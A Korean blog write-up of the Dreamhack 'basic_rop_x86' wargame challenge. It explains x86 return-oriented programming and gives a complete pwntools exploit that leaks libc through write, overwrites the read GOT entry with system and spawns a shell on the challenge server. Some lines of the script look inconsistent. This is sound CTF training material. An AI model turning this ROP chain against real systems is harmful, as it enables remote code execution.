본문 바로가기

System (Pwnable)

Dreamhack basic_rop_x86 문제 풀이 방향

반응형

Dreamhack basic_rop_x86 문제 풀이 방향

https://dreamhack.io/wargame/challenges/30

 

basic_rop_x86

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일

dreamhack.io

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

i386-32 비트이다. 디스어셈블을 해보면, 스택프레임이 0x44까지 되어있다.

 

 

32bit를 생각하고 그림을 그렸을 떄 아래와 같이 나올 것이다.

 


basic_rop_x64 를 풀었다고 가정하고, X86에 방향만 정리해보려고 한다.

 

ROP X86 관련 자료가 잘 정리되어 있는 페이지이다.

https://www.lazenca.net/display/TEC/01.ROP%28Return+Oriented+Programming%29-x86

 

01.ROP(Return Oriented Programming)-x86 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태

www.lazenca.net

 

POP POP POP RET 는 세개의 인자가 있는 함수에서 사용되고,

POP 명령어의 피연산자 값은 중요하지 않고,

RTL에 호출할 함수의 다음영역에 System함수의 가젯 주소를 저장함으로서 다음 함수를 연속 호출할 수 있다.

 


 

u64랑 p64를 u32, p32로 바꾼다.

함수 호출규약에 맞게 write함수 등을 호출한다 

 

# write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)

Exploit

더보기

from pwn import *

#p = process('./basic_rop_x86', env= {"LD_PRELOAD" : "./libc.so.6"})
p = remote('host3.dreamhack.games', 20725)
e = ELF('basic_rop_x86')
l = ELF('./libc.so.6', checksec=False)

def slog(n, m):
    success(" : ".join([n, hex(m)]))
    
context.arch = 'i386'

# GET Gadget
# ROPgadget --binary ./basic_rop_x86 --re "pop"
# 0x08048689 : pop esi ; pop edi ; pop ebp ; ret
pppr = 0x08048689

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.plt['write']


slog('READ_PLT', read_plt)
slog('READ_GOT', read_got)
slog('WRITE_PLT', write_plt)

# Exploit
payload = b'A' * 0x44 + b'B' * 0x04

# WRITE 함수 호출 write(1,read_got,4)
payload += p32(write_plt) 
payload += p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)


# Read함수 호출 read(0, read_got, 8)
payload += p32(read_plt) 
payload += p32(pppr)
payload += p32(0) + p32(read_got) + p32(len(str(read_got)) + 0x04)

# SYSTEM 함수로 변경
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(read_got + 0x04)

p.send(payload)
p.recvuntil(b'A' * 0x40)


read = u32(p.recvn(4))
libc_base = read - l.symbols['read']
slog('LIB BASE', libc_base)

system = libc_base + l.symbols['system']
slog('system ', system)

p.send(p32(system) + b'/bin/sh\x00')

p.interactive()

 

 

728x90

'System (Pwnable)' 카테고리의 다른 글